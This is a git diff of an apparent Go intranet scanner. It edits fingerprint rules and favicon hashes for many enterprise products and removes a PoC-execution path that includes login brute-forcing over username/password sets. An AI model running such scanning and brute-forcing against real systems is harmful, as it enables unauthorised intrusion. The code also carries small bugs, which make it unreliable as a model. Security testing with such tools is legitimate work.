 	{"TP-Link 3600 DD-WRT", "code", "(TP-Link 3600 DD-WRT)"},
 	{"NETGEAR WNDR3600", "code", "(NETGEAR WNDR3600)"},
 	{"H3C ER2100", "code", "(ER2100系统管理)"},
+	{"绿盟下一代防火墙", "code", "(NSFOCUS NF)"},
 	{"jira", "code", "(jira.webresources)"},
 	{"金和协同管理平台", "code", "(金和协同管理平台)"},
 	{"Citrix-NetScaler", "code", "(NS-CACHE)"},
 	{"linksys-vpn", "headers", "(linksys-vpn)"},
-	{"通达OA", "code", "(/static/images/tongda.ico|http://www.tongda2000.com|通达OA移动版)"},
+	{"通达OA", "code", "(/static/images/tongda.ico)"},
 	{"华为（HUAWEI）Secoway设备", "code", "(Secoway)"},
 	{"华为_HUAWEI_SRG1220", "code", "(HUAWEI SRG1220)"},
 	{"H3C ER2100n", "code", "(ER2100n系统管理)"},
@@ -153,116 +111,15 @@ var RuleDatas = []RuleData{
 	{"金蝶政务GSiS", "code", "(/kdgs/script/kdgs.js)"},
 	{"Jboss", "code", "(Welcome to JBoss|jboss.css)"},
 	{"Jboss", "headers", "(JBoss)"},
-	{"泛微E-mobile", "code", "(Weaver E-mobile|weaver,e-mobile)"},
-	{"泛微E-mobile", "headers", "(EMobileServer)"},
-	{"齐治堡垒机", "code", "(logo-icon-ico72.png|resources/themes/images/logo-login.png)"},
-	{"ThinkPHP", "headers", "(ThinkPHP)"},
-	{"ThinkPHP", "code", "(/Public/static/js/)"},
-	{"weaver-ebridge", "code", "(e-Bridge,http://wx.weaver)"},
-	{"Laravel", "headers", "(laravel_session)"},
-	{"DWR", "code", "(dwr/engine.js)"},
-	{"swagger_ui", "code", "(swagger-ui/css|\"swagger\":|swagger-ui.min.js)"},
-	{"大汉版通发布系统", "code", "(大汉版通发布系统|大汉网络)"},
-	{"druid", "code", "(druid.index|DruidDrivers|DruidVersion|Druid Stat Index)"},
-	{"Jenkins", "code", "(Jenkins)"},
-	{"红帆OA", "code", "(iOffice)"},
-	{"VMware vSphere", "code", "(VMware vSphere)"},
-	{"打印机", "code", "(打印机|media/canon.gif)"},
-	{"finereport", "code", "(isSupportForgetPwd|FineReport,Web Reporting Tool)"},
-	{"蓝凌OA", "code", "(蓝凌软件|StylePath:\"/resource/style/default/\"|/resource/customization)"},
-	{"GitLab", "code", "(href=\"https://about.gitlab.com/)"},
-	{"用友", "code", "(YONYOU NC | /Client/Uclient/UClient.dmg|iufo/web/css/menu.css|/System/Login/Login.asp?AppID=|/nc/servlet/nc.ui.iufo.login.Index)"},
-	{"Jquery-1.7.2", "code", "(/webui/js/jquerylib/jquery-1.7.2.min.js)"},
-	{"Hadoop Applications", "code", "(/cluster/app/application)"},
-	{"海昌OA", "code", "(/loginmain4/js/jquery.min.js)"},
-	{"帆软报表", "code", "(WebReport/login.html|ReportServer)"},
-	{"帆软报表", "headers", "(数据决策系统)"},
-	{"华夏ERP", "headers", "(华夏ERP)"},
-	{"金和OA", "cookie", "(ASPSESSIONIDSSCDTDBS)"},
-	{"久其财务报表", "code", "(netrep/login.jsp|/netrep/intf)"},
-	{"若依管理系统", "code", "(ruoyi/login.js|ruoyi/js/ry-ui.js)"},
-	{"启莱OA", "code", "(js/jQselect.js|js/jquery-1.4.2.min.js)"},
-	{"智慧校园管理系统", "code", "(DC_Login/QYSignUp)"},
-	{"JQuery-1.7.2", "code", "(webui/js/jquerylib/jquery-1.7.2.min.js)"},
-	{"浪潮 ClusterEngineV4.0", "code", "(0;url=module/login/login.html)"},
-	{"会捷通云视讯平台", "code", "(him/api/rest/v1.0/node/role|him.app)"},
-	{"源码泄露账号密码 F12查看", "code", "(get_dkey_passwd)"},
-	{"Smartbi Insight", "code", "(smartbi.gcf.gcfutil)"},
-	{"汉王人脸考勤管理系统", "code", "(汉王人脸考勤管理系统|/Content/image/hanvan.png|/Content/image/hvicon.ico)"},
-	{"亿赛通-电子文档安全管理系统", "code", "(电子文档安全管理系统|/CDGServer3/index.jsp|/CDGServer3/SysConfig.jsp|/CDGServer3/help/getEditionInfo.jsp)"},
-	{"天融信 TopApp-LB 负载均衡系统", "code", "(TopApp-LB 负载均衡系统)"},
-	{"中新金盾信息安全管理系统", "code", "(中新金盾信息安全管理系统|中新网络信息安全股份有限公司)"},
-	{"好视通", "code", "(深圳银澎云计算有限公司|itunes.apple.com/us/app/id549407870|hao-shi-tong-yun-hui-yi-yuan)"},
-	{"蓝海卓越计费管理系统", "code", "(蓝海卓越计费管理系统|星锐蓝海网络科技有限公司)"},
-	{"和信创天云桌面系统", "code", "(和信下一代云桌面VENGD|/vesystem/index.php)"},
-	{"金山", "code", "(北京猎鹰安全科技有限公司|金山终端安全系统V9.0Web控制台|北京金山安全管理系统技术有限公司|金山V8)"},
-	{"WIFISKY-7层流控路由器", "code", "(深圳市领空技术有限公司|WIFISKY 7层流控路由器)"},
-	{"MetInfo-米拓建站", "code", "(MetInfo|/skin/style/metinfo.css|/skin/style/metinfo-v2.css)"},
-	{"IBM-Lotus-Domino", "code", "(/mailjump.nsf|/domcfg.nsf|/names.nsf|/homepage.nsf)"},
-	{"APACHE-kylin", "code", "(url=kylin)"},
-	{"C-Lodop打印服务系统", "code", "(/CLodopfuncs.js|www.c-lodop.com)"},
-	{"ATLASSIAN-Confluence", "code", "(Atlassian Confluence)"},
-	{"HFS", "code", "(href=\"http://www.rejetto.com/hfs/)"},
-	{"Jellyfin", "code", "(content=\"http://jellyfin.org\")"},
-	{"FIT2CLOUD-JumpServer-堡垒机", "code", "(<title>JumpServer</title>)"},
-	{"Alibaba Nacos", "code", "(<title>Nacos</title>)"},
-	{"Nagios", "headers", "(nagios admin)"},
-	{"Pulse Connect Secure", "code", "(/dana-na/imgs/space.gif)"},
-	{"h5ai", "code", "(powered by h5ai)"},
-	{"jeesite", "cookie", "(jeesite.session.id)"},
-	{"拓尔思SSO", "cookie", "(trsidsssosessionid)"},
-	{"拓尔思WCMv7/6", "cookie", "(com.trs.idm.coSessionId)"},
-	{"天融信脆弱性扫描与管理系统", "code", "(/js/report/horizontalReportPanel.js)"},
-	{"天融信网络审计系统", "code", "(onclick=dlg_download())"},
-	{"天融信日志收集与分析系统", "code", "(天融信日志收集与分析系统)"},
-	{"URP教务系统", "code", "(北京清元优软科技有限公司)"},
-	{"科来RAS", "code", "(科来软件 版权所有|i18ninit.min.js)"},
-	{"正方OA", "code", "(zfoausername)"},
-	{"希尔OA", "code", "(/heeroa/login.do)"},
-	{"泛普建筑工程施工OA", "code", "(/dwr/interface/LoginService.js)"},
-	{"中望OA", "code", "(/IMAGES/default/first/xtoa_logo.png|/app_qjuserinfo/qjuserinfoadd.jsp)"},
-	{"海天OA", "code", "(HTVOS.js)"},
-	{"信达OA", "code", "(http://www.xdoa.cn</a>)"},
-	{"任我行CRM", "code", "(CRM_LASTLOGINUSERKEY)"},
-	{"Spammark邮件信息安全网关", "code", "(/cgi-bin/spammark?empty=1)"},
-	{"winwebmail", "code", "(WinWebMail Server|images/owin.css)"},
-	{"浪潮政务系统", "code", "(LangChao.ECGAP.OutPortal|OnlineQuery/QueryList.aspx)"},
-	{"天融信防火墙", "code", "(/cgi/maincgi.cgi)"},
-	{"网神防火墙", "code", "(css/lsec/login.css)"},
-	{"帕拉迪统一安全管理和综合审计系统", "code", "(module/image/pldsec.css)"},
-	{"蓝盾BDWebGuard", "code", "(BACKGROUND: url(images/loginbg.jpg) #e5f1fc)"},
-	{"Huawei SMC", "code", "(Script/SmcScript.js?version=)"},
-	{"coremail", "code", "(/coremail/bundle/|contextRoot: \"/coremail\")"},
-	{"activemq", "code", "(activemq_logo|Manage ActiveMQ broker)"},
-	{"锐捷网络", "code", "(static/img/title.ico|support.ruijie.com.cn|Ruijie - NBR|eg.login.loginBtn)"},
-	{"禅道", "code", "(/theme/default/images/main/zt-logo.png|zentaosid)"},
-	{"weblogic", "code", "(/console/framework/skins/wlsconsole/images/login_WebLogic_branding.png|Welcome to Weblogic Application Server|<i>Hypertext Transfer Protocol -- HTTP/1.1</i>|<TITLE>Error 404--Not Found</TITLE>|Welcome to Weblogic Application Server|<title>Oracle WebLogic Server 管理控制台</title>)"},
-	{"weblogic", "headers", "(WebLogic)"},
-	{"致远OA", "code", "(/seeyon/USER-DATA/IMAGES/LOGIN/login.gif|/seeyon/common/)"},
-	{"蓝凌EIS智慧协同平台", "code", "(/scripts/jquery.landray.common.js)"},
-	{"深信服ssl-vpn", "code", "(login_psw.csp|loginPageSP/loginPrivacy.js|/por/login_psw.csp)"},
-	{"Struts2", "code", "(org.apache.struts2|Struts Problem Report|struts.devMode|struts-tags|There is no Action mapped for namespace)"},
-	{"泛微OA", "code", "(/spa/portal/public/index.js|wui/theme/ecology8/page/images/login/username_wev8.png|/wui/index.html#/?logintype=1)"},
-	{"Swagger UI", "code", "(/swagger-ui.css|swagger-ui-bundle.js|swagger-ui-standalone-preset.js)"},
-	{"金蝶政务GSiS", "code", "(/kdgs/script/kdgs.js|HTML5/content/themes/kdcss.min.css|/ClientBin/Kingdee.BOS.XPF.App.xap)"},
-	{"蓝凌OA", "code", "(蓝凌软件|StylePath:\"/resource/style/default/\"|/resource/customization|sys/ui/extend/theme/default/style/icon.css|sys/ui/extend/theme/default/style/profile.css)"},
-	{"用友NC", "code", "(YONYOU NC | /Client/Uclient/UClient.dmg)"},
-	{"用友IUFO", "code", "(iufo/web/css/menu.css)"},
-	{"TELEPORT堡垒机", "code", "(/static/plugins/blur/background-blur.js)"},
-	{"JEECMS", "code", "(/r/cms/www/red/js/common.js|/r/cms/www/red/js/indexshow.js|Powered by JEECMS|JEECMS|/jeeadmin/jeecms/index.do)"},
-	{"CMS", "code", "(Powered by .*CMS)"},
-	{"editor", "code", "(editor)"},
-	{"ATLASSIAN-Confluence", "code", "(confluence.)"},
-	{"向日葵", "code", "({\"success\":false,\"msg\":\"Verification failure\"})"},
+	{"泛微E-mobile", "code", "(Weaver E-mobile)"},
+	{"齐治堡垒机", "code", "(logo-icon-ico72.png)"},
 }

 var Md5Datas = []Md5Data{
 	{"BIG-IP", "04d9541338e525258daf47cc844d59f3"},
 	{"蓝凌OA", "302464c3f6207d57240649926cfc7bd4"},
 	{"JBOSS", "799f70b71314a7508326d1d2f68f7519"},
-	{"锐捷网络", "d8d7c9138e93d43579ebf2e384745ba8"},
-	{"锐捷网络", "9c21df9129aeec032df8ac15c84e050d"},
-	{"锐捷网络", "a45883b12d753bc87aff5bddbef16ab3"},
+	{"锐捷网关", "d8d7c9138e93d43579ebf2e384745ba8"},
 	{"深信服edr", "0b24d4d5c7d300d50ee1cd96059a9e85"},
 	{"致远OA", "cdc85452665e7708caed3009ecb7d4e2"},
 	{"致远OA", "17ac348fcce0b320e7bfab3fe2858dfa"},
@@ -270,40 +127,11 @@ var Md5Datas = []Md5Data{
 	{"致远OA", "3c8df395ec2cbd72782286d18a286a9a"},
 	{"致远OA", "2f761c27b6b7f9386bbd61403635dc42"},
 	{"齐治堡垒机", "48ee373f098d8e96e53b7dd778f09ff4"},
-	{"SpringBoot", "0488faca4c19046b94d07c3ee83cf9d6"},
+	{"SprintBoot", "0488faca4c19046b94d07c3ee83cf9d6"},
 	{"ThinkPHP", "f49c4a4bde1eec6c0b80c2277c76e3db"},
 	{"通达OA", "ed0044587917c76d08573577c8b72883"},
-	{"泛微E-mobile", "41eca7a9245394106a09b2534d8030df"},
+	{"泛微OA", "41eca7a9245394106a09b2534d8030df"},
 	{"泛微OA", "c27547e27e1d2c7514545cd8d5988946"},
 	{"泛微OA", "9b1d3f08ede38dbe699d6b2e72a8febb"},
 	{"泛微OA", "281348dd57383c1f214ffb8aed3a1210"},
-	{"GitLab", "85c754581e1d4b628be5b7712c042224"},
-	{"Hikvision-视频监控", "89b932fcc47cf4ca3faadb0cfdef89cf"},
-	{"华夏erp", "c68b15c45cf80115a943772f7d0028a6"},
-	{"OpenSNS", "08711abfb016a55c0e84f7b54bef5632"},
-	{"MetInfo-米拓建站", "2a9541b5c2225ed2f28734c0d75e456f"},
-	{"IBM-Lotus-Domino", "36c1002bb579edf52a472b9d2e39bb50"},
-	{"IBM-Lotus-Domino", "639b61409215d770a99667b446c80ea1"},
-	{"ATLASSIAN-Confluence", "b91d19259cf480661ef93b67beb45234"},
-	{"activemq", "05664fb0c7afcd6436179437e31f3aa6"},
-	{"coremail", "ad74ff8f9a2f630fc2c5e6b3aa0a5cb8"},
-}
-
-var PocDatas = []PocData{
-	{"致远OA", "seeyon"},
-	{"泛微OA", "weaver"},
-	{"通达OA", "tongda"},
-	{"蓝凌OA", "landray"},
-	{"ThinkPHP", "thinkphp"},
-	{"Nexus", "nexus"},
-	{"齐治堡垒机", "qizhi"},
-	{"weaver-ebridge", "weaver-ebridge"},
-	{"weblogic", "weblogic"},
-	{"zabbix", "zabbix"},
-	{"VMware vSphere", "vmware"},
-	{"Jboss", "jboss"},
-	{"用友", "yongyou"},
-	{"用友IUFO", "yongyou"},
-	{"coremail", "coremail"},
-	{"金山", "kingsoft"},
 }
--- a/WebScan/lib/check.go
+++ b/WebScan/lib/check.go
@@ -1,9 +1,8 @@
 package lib

 import (
+	"embed"
 	"fmt"
-	"github.com/google/cel-go/cel"
-	"github.com/shadow1ng/fscan/WebScan/info"
 	"github.com/shadow1ng/fscan/common"
 	"math/rand"
 	"net/http"
@@ -25,69 +24,59 @@ type Task struct {
 	Poc *Poc
 }

-func CheckMultiPoc(req *http.Request, pocs []*Poc, workers int) {
+func CheckMultiPoc(req *http.Request, Pocs embed.FS, workers int, pocname string) {
 	tasks := make(chan Task)
 	var wg sync.WaitGroup
 	for i := 0; i < workers; i++ {
 		go func() {
+			wg.Add(1)
 			for task := range tasks {
-				isVul, _, name := executePoc(task.Req, task.Poc)
+				isVul, err := executePoc(task.Req, task.Poc)
+				if err != nil {
+					continue
+				}
 				if isVul {
-					result := fmt.Sprintf("[+] %s %s %s", task.Req.URL, task.Poc.Name, name)
+					result := fmt.Sprintf("%s %s", task.Req.URL, task.Poc.Name)
 					common.LogSuccess(result)
 				}
-				wg.Done()
 			}
+			wg.Done()
 		}()
 	}
-	for _, poc := range pocs {
+	for _, poc := range LoadMultiPoc(Pocs, pocname) {
 		task := Task{
 			Req: req,
 			Poc: poc,
 		}
-		wg.Add(1)
 		tasks <- task
 	}
-	wg.Wait()
 	close(tasks)
+	wg.Wait()
 }

-func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
+func executePoc(oReq *http.Request, p *Poc) (bool, error) {
 	c := NewEnvOption()
 	c.UpdateCompileOptions(p.Set)
-	if len(p.Sets) > 0 {
-		setMap := make(map[string]string)
-		for k := range p.Sets {
-			setMap[k] = p.Sets[k][0]
-		}
-		c.UpdateCompileOptions(setMap)
-	}
 	env, err := NewEnv(&c)
 	if err != nil {
-		fmt.Printf("[-] %s environment creation error: %s\n", p.Name, err)
-		return false, err, ""
-	}
-	req, err := ParseRequest(oReq)
-	if err != nil {
-		fmt.Printf("[-] %s ParseRequest error: %s\n", p.Name, err)
-		return false, err, ""
+		fmt.Println("environment creation error: %s\n", err)
+		return false, err
 	}
 	variableMap := make(map[string]interface{})
+	req, err := ParseRequest(oReq)
+	if err != nil {
+		//fmt.Println(err)
+		return false, err
+	}
 	variableMap["request"] = req

 	// 现在假定set中payload作为最后产出，那么先排序解析其他的自定义变量，更新map[string]interface{}后再来解析payload
 	keys := make([]string, 0)
-	keys1 := make([]string, 0)
 	for k := range p.Set {
-		if strings.Contains(strings.ToLower(p.Set[k]), "random") && strings.Contains(strings.ToLower(p.Set[k]), "(") {
-			keys = append(keys, k) //优先放入调用random系列函数的变量
-		} else {
-			keys1 = append(keys1, k)
-		}
+		keys = append(keys, k)
 	}
 	sort.Strings(keys)
-	sort.Strings(keys1)
-	keys = append(keys, keys1...)
+
 	for _, k := range keys {
 		expression := p.Set[k]
 		if k != "payload" {
@@ -97,8 +86,7 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
 			}
 			out, err := Evaluate(env, expression, variableMap)
 			if err != nil {
-				//fmt.Println(p.Name,"  poc_expression error",err)
-				variableMap[k] = expression
+				//fmt.Println(err)
 				continue
 			}
 			switch value := out.Value().(type) {
@@ -117,55 +105,13 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
 	if p.Set["payload"] != "" {
 		out, err := Evaluate(env, p.Set["payload"], variableMap)
 		if err != nil {
-			//fmt.Println(p.Name,"  poc_payload error",err)
-			return false, err, ""
+			return false, err
 		}
 		variableMap["payload"] = fmt.Sprintf("%v", out)
 	}

-	setslen := 0
-	haspayload := false
-	var setskeys []string
-	if len(p.Sets) > 0 {
-		for _, rule := range p.Rules {
-			for k := range p.Sets {
-				if strings.Contains(rule.Body, "{{"+k+"}}") || strings.Contains(rule.Path, "{{"+k+"}}") {
-					if strings.Contains(k, "payload") {
-						haspayload = true
-					}
-					setslen++
-					setskeys = append(setskeys, k)
-					continue
-				}
-				for k2 := range rule.Headers {
-					if strings.Contains(rule.Headers[k2], "{{"+k+"}}") {
-						if strings.Contains(k, "payload") {
-							haspayload = true
-						}
-						setslen++
-						setskeys = append(setskeys, k)
-						continue
-					}
-				}
-			}
-		}
-	}
-
 	success := false
-	//爆破模式,比如tomcat弱口令
-	if setslen > 0 {
-		if haspayload {
-			success, err = clusterpoc1(oReq, p, variableMap, req, env, setskeys)
-		} else {
-			success, err = clusterpoc(oReq, p, variableMap, req, env, setslen, setskeys)
-		}
-		return success, nil, ""
-	}
-
-	DealWithRule := func(rule Rules) (bool, error) {
-		var (
-			flag, ok bool
-		)
+	for _, rule := range p.Rules {
 		for k1, v1 := range variableMap {
 			_, isMap := v1.(map[string]string)
 			if isMap {
@@ -193,7 +139,6 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
 		for k, v := range rule.Headers {
 			newRequest.Header.Set(k, v)
 		}
-
 		resp, err := DoRequest(newRequest, rule.FollowRedirects)
 		if err != nil {
 			return false, err
@@ -206,53 +151,24 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
 				for k, v := range result {
 					variableMap[k] = v
 				}
+				//return false, nil
 			} else {
 				return false, nil
 			}
 		}
+
 		out, err := Evaluate(env, rule.Expression, variableMap)
 		if err != nil {
 			return false, err
 		}
 		//fmt.Println(fmt.Sprintf("%v, %s", out, out.Type().TypeName()))
-		//如果false不继续执行后续rule
-		// 如果最后一步执行失败，就算前面成功了最终依旧是失败
-		flag, ok = out.Value().(bool)
-		if !ok {
-			flag = false
+		if fmt.Sprintf("%v", out) == "false" { //如果false不继续执行后续rule
+			success = false // 如果最后一步执行失败，就算前面成功了最终依旧是失败
+			break
 		}
-		return flag, nil
+		success = true
 	}
-
-	DealWithRules := func(rules []Rules) bool {
-		successFlag := false
-		for _, rule := range rules {
-			flag, err := DealWithRule(rule)
-			//if err != nil {
-			//	fmt.Printf("[-] %s Execute Rule error: %s\n",p.Name,err.Error())
-			//}
-
-			if err != nil || !flag { //如果false不继续执行后续rule
-				successFlag = false // 如果其中一步为flag，则直接break
-				break
-			}
-			successFlag = true
-		}
-		return successFlag
-	}
-
-	if len(p.Rules) > 0 {
-		success = DealWithRules(p.Rules)
-	} else { // Groups
-		for name, rules := range p.Groups {
-			success = DealWithRules(rules)
-			if success {
-				return success, nil, name
-			}
-		}
-	}
-
-	return success, nil, ""
+	return success, nil
 }

 func doSearch(re string, body string) map[string]string {
@@ -278,8 +194,7 @@ func newReverse() *Reverse {
 	letters := "1234567890abcdefghijklmnopqrstuvwxyz"
 	randSource := rand.New(rand.NewSource(time.Now().Unix()))
 	sub := RandomStr(randSource, letters, 8)
-	if true {
-		//默认不开启dns解析
+	if ceyeDomain == "" {
 		return &Reverse{}
 	}
 	urlStr := fmt.Sprintf("http://%s.%s", sub, ceyeDomain)
@@ -291,445 +206,3 @@ func newReverse() *Reverse {
 		IsDomainNameServer: false,
 	}
 }
-
-func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{}, req *Request, env *cel.Env, slen int, keys []string) (success bool, err error) {
-	for _, rule := range p.Rules {
-		for k1, v1 := range variableMap {
-			if IsContain(keys, k1) {
-				continue
-			}
-			_, isMap := v1.(map[string]string)
-			if isMap {
-				continue
-			}
-			value := fmt.Sprintf("%v", v1)
-			for k2, v2 := range rule.Headers {
-				rule.Headers[k2] = strings.ReplaceAll(v2, "{{"+k1+"}}", value)
-			}
-			rule.Path = strings.ReplaceAll(strings.TrimSpace(rule.Path), "{{"+k1+"}}", value)
-			rule.Body = strings.ReplaceAll(strings.TrimSpace(rule.Body), "{{"+k1+"}}", value)
-		}
-
-		n := 0
-		for k := range p.Sets {
-			if strings.Contains(rule.Body, "{{"+k+"}}") || strings.Contains(rule.Path, "{{"+k+"}}") {
-				n++
-				continue
-			}
-			for k2 := range rule.Headers {
-				if strings.Contains(rule.Headers[k2], "{{"+k+"}}") {
-					n++
-					continue
-				}
-			}
-		}
-		if n == 0 {
-			success, err = clustersend(oReq, variableMap, req, env, rule)
-			if err != nil {
-				return false, err
-			}
-			if success == false {
-				break
-			}
-		}
-
-		if slen == 1 {
-		look1:
-			for _, var1 := range p.Sets[keys[0]] {
-				rule1 := cloneRules(rule)
-				for k2, v2 := range rule1.Headers {
-					rule1.Headers[k2] = strings.ReplaceAll(v2, "{{"+keys[0]+"}}", var1)
-				}
-				rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[0]+"}}", var1)
-				rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[0]+"}}", var1)
-				success, err = clustersend(oReq, variableMap, req, env, rule1)
-				if err != nil {
-					return false, err
-				}
-				if success == true {
-					break look1
-				}
-			}
-			if success == false {
-				break
-			}
-		}
-
-		if slen == 2 {
-		look2:
-			for _, var1 := range p.Sets[keys[0]] {
-				for _, var2 := range p.Sets[keys[1]] {
-					rule1 := cloneRules(rule)
-					for k2, v2 := range rule1.Headers {
-						rule1.Headers[k2] = strings.ReplaceAll(v2, "{{"+keys[0]+"}}", var1)
-						rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+keys[1]+"}}", var2)
-					}
-					rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[0]+"}}", var1)
-					rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[0]+"}}", var1)
-					rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[1]+"}}", var2)
-					rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[1]+"}}", var2)
-					success, err = clustersend(oReq, variableMap, req, env, rule1)
-					if err != nil {
-						return false, err
-					}
-					if success == true {
-						break look2
-					}
-				}
-			}
-			if success == false {
-				break
-			}
-		}
-
-		if slen == 3 {
-		look3:
-			for _, var1 := range p.Sets[keys[0]] {
-				for _, var2 := range p.Sets[keys[1]] {
-					for _, var3 := range p.Sets[keys[2]] {
-						rule1 := cloneRules(rule)
-						for k2, v2 := range rule1.Headers {
-							rule1.Headers[k2] = strings.ReplaceAll(v2, "{{"+keys[0]+"}}", var1)
-							rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+keys[1]+"}}", var2)
-							rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+keys[2]+"}}", var3)
-						}
-						rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[0]+"}}", var1)
-						rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[0]+"}}", var1)
-						rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[1]+"}}", var2)
-						rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[1]+"}}", var2)
-						rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[2]+"}}", var3)
-						rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[2]+"}}", var3)
-						success, err = clustersend(oReq, variableMap, req, env, rule)
-						if err != nil {
-							return false, err
-						}
-						if success == true {
-							break look3
-						}
-					}
-				}
-			}
-			if success == false {
-				break
-			}
-		}
-	}
-	return success, nil
-}
-
-func clusterpoc1(oReq *http.Request, p *Poc, variableMap map[string]interface{}, req *Request, env *cel.Env, keys []string) (success bool, err error) {
-	setMap := make(map[string]interface{})
-	for k := range p.Sets {
-		setMap[k] = p.Sets[k][0]
-	}
-	setMapbak := cloneMap1(setMap)
-	for _, rule := range p.Rules {
-		for k1, v1 := range variableMap {
-			if IsContain(keys, k1) {
-				continue
-			}
-			_, isMap := v1.(map[string]string)
-			if isMap {
-				continue
-			}
-			value := fmt.Sprintf("%v", v1)
-			for k2, v2 := range rule.Headers {
-				rule.Headers[k2] = strings.ReplaceAll(v2, "{{"+k1+"}}", value)
-			}
-			rule.Path = strings.ReplaceAll(strings.TrimSpace(rule.Path), "{{"+k1+"}}", value)
-			rule.Body = strings.ReplaceAll(strings.TrimSpace(rule.Body), "{{"+k1+"}}", value)
-		}
-
-		varset := []string{}
-		varpay := []string{}
-		n := 0
-		for k := range p.Sets {
-			// 1. 如果rule中需要修改 {{k}} 如username、payload
-			if strings.Contains(rule.Body, "{{"+k+"}}") || strings.Contains(rule.Path, "{{"+k+"}}") {
-				if strings.Contains(k, "payload") {
-					varpay = append(varpay, k)
-				} else {
-					varset = append(varset, k)
-				}
-				n++
-				continue
-			}
-			for k2 := range rule.Headers {
-				if strings.Contains(rule.Headers[k2], "{{"+k+"}}") {
-					if strings.Contains(k, "payload") {
-						varpay = append(varpay, k)
-					} else {
-						varset = append(varset, k)
-					}
-					n++
-					continue
-				}
-			}
-		}
-
-		for _, key := range varpay {
-			v := fmt.Sprintf("%s", setMap[key])
-			for k := range p.Sets {
-				if strings.Contains(v, k) {
-					if !IsContain(varset, k) && !IsContain(varpay, k) {
-						varset = append(varset, k)
-					}
-				}
-			}
-		}
-		if n == 0 {
-			success, err = clustersend(oReq, variableMap, req, env, rule)
-			if err != nil {
-				return false, err
-			}
-			if success == false {
-				break
-			}
-		}
-		if len(varset) == 1 {
-		look1:
-			//	(var1 tomcat ,keys[0] username)
-			for _, var1 := range p.Sets[varset[0]] {
-				setMap := cloneMap1(setMapbak)
-				setMap[varset[0]] = var1
-				evalset(env, setMap)
-				rule1 := cloneRules(rule)
-				for k2, v2 := range rule1.Headers {
-					rule1.Headers[k2] = strings.ReplaceAll(v2, "{{"+varset[0]+"}}", var1)
-					for _, key := range varpay {
-						rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+key+"}}", fmt.Sprintf("%v", setMap[key]))
-					}
-				}
-				rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+varset[0]+"}}", var1)
-				rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+varset[0]+"}}", var1)
-				for _, key := range varpay {
-					rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+key+"}}", fmt.Sprintf("%v", setMap[key]))
-					rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+key+"}}", fmt.Sprintf("%v", setMap[key]))
-				}
-				success, err = clustersend(oReq, variableMap, req, env, rule)
-				if err != nil {
-					return false, err
-				}
-
-				if success == true {
-					common.LogSuccess(fmt.Sprintf("[+] %s://%s%s %s", req.Url.Scheme, req.Url.Host, req.Url.Path, var1))
-					break look1
-				}
-			}
-			if success == false {
-				break
-			}
-		}
-
-		if len(varset) == 2 {
-		look2:
-			//	(var1 tomcat ,keys[0] username)
-			for _, var1 := range p.Sets[varset[0]] { //username
-				for _, var2 := range p.Sets[varset[1]] { //password
-					setMap := cloneMap1(setMapbak)
-					setMap[varset[0]] = var1
-					setMap[varset[1]] = var2
-					evalset(env, setMap)
-					rule1 := cloneRules(rule)
-					for k2, v2 := range rule1.Headers {
-						rule1.Headers[k2] = strings.ReplaceAll(v2, "{{"+varset[0]+"}}", var1)
-						rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+varset[1]+"}}", var2)
-						for _, key := range varpay {
-							rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+key+"}}", fmt.Sprintf("%v", setMap[key]))
-						}
-					}
-					rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+varset[0]+"}}", var1)
-					rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+varset[0]+"}}", var1)
-					rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+varset[1]+"}}", var2)
-					rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+varset[1]+"}}", var2)
-					for _, key := range varpay {
-						rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+key+"}}", fmt.Sprintf("%v", setMap[key]))
-						rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+key+"}}", fmt.Sprintf("%v", setMap[key]))
-					}
-					success, err = clustersend(oReq, variableMap, req, env, rule1)
-					if err != nil {
-						return false, err
-					}
-					if success == true {
-						common.LogSuccess(fmt.Sprintf("[+] %s://%s%s %s %s", req.Url.Scheme, req.Url.Host, req.Url.Path, var1, var2))
-						break look2
-					}
-				}
-			}
-			if success == false {
-				break
-			}
-		}
-
-		if len(varset) == 3 {
-		look3:
-			for _, var1 := range p.Sets[keys[0]] {
-				for _, var2 := range p.Sets[keys[1]] {
-					for _, var3 := range p.Sets[keys[2]] {
-						setMap := cloneMap1(setMapbak)
-						setMap[varset[0]] = var1
-						setMap[varset[1]] = var2
-						evalset(env, setMap)
-						rule1 := cloneRules(rule)
